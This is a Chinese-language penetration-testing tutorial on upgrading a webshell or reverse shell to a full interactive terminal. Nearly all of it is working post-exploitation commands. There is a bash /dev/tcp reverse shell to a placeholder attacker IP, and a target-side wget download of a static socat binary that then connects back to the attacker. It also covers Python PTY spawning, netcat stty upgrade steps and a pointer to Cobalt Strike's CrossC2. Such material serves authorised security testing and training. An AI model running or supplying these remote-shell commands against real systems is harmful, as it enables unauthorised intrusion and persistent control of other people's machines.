获取完美shell
字数 1080 2025-08-06 23:10:31
获取完美Shell的完整指南
0x01 获取完美Shell的必要性
在使用webshell或反弹shell时通常会遇到以下问题:
- 命令执行受限
- 非交互式环境
- Ctrl+C会断开连接
- 缺少命令补全功能
- 可能出现乱码情况
这些问题会影响渗透测试的效率,特别是进行提权等操作时。下面介绍几种提升shell质量的方法。
1.1 基础反弹Shell
使用bash进行TCP反弹Shell:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
特点:
- 方向键历史记录不可用
- 部分交互命令(如su/vim)可能执行失败
- Ctrl+C会直接断开连接
1.2 Python PTY方式
前提条件:目标主机安装有Python
检查Python是否存在:
rpm -qa | grep python
使用Python创建伪终端:
python -c 'import pty; pty.spawn("/bin/bash")'
说明:
pty是Python的虚拟终端库spawn函数创建一个进程并将其控制终端与当前进程的标准IO连接- 可以解决部分su命令执行问题
- 功能提升有限
1.3 使用Socat建立完整TTY
特点:需要攻击机和目标主机都安装或上传socat
攻击机操作
安装socat(Kali通常已自带):
sudo apt install socat
监听端口:
socat file:tty,raw,echo=0 tcp-listen:4444
目标主机操作
下载socat(如无法访问GitHub需本地下载后上传):
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
设置权限并反弹:
chmod 755 /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444
优势:
- 支持vim等交互式命令
- Ctrl+C不会直接断开连接
- 断开需使用exit命令
1.4 高级Netcat升级方法
步骤1:收集信息
echo $TERM
stty -a
步骤2:接收Shell并创建Python交互
python -c 'import pty; pty.spawn("/bin/bash")'
步骤3:挂起后台
Ctrl+Z
jobs -l
步骤4:重置STTY
stty raw -echo
fg
步骤5:刷新终端
reset
步骤6:设置环境变量
export SHELL=bash
export TERM=xterm
stty rows 行数 columns 列数
完整流程:
- 获取初始shell
- 使用Python创建伪终端
- 挂起到后台(Ctrl+Z)
- 重置终端设置(stty raw -echo)
- 恢复前台任务(fg)
- 重置终端(reset)
- 设置正确的环境变量
1.5 上线到Cobalt Strike
注意事项:
- 原生CS不支持Linux主机上线
- 需使用CrossC2插件
- 配置过程较为复杂,需参考专门教程
总结对比
| 方法 | 需要条件 | 交互性 | 稳定性 | 复杂度 |
|---|---|---|---|---|
| 基础反弹 | 无 | 低 | 低 | 简单 |
| Python PTY | 需Python | 中 | 中 | 简单 |
| Socat | 需上传/安装 | 高 | 高 | 中等 |
| Netcat升级 | 无 | 最高 | 最高 | 复杂 |
推荐选择:
- 简单场景:Python PTY
- 稳定需求:Socat
- 完美终端:Netcat升级方法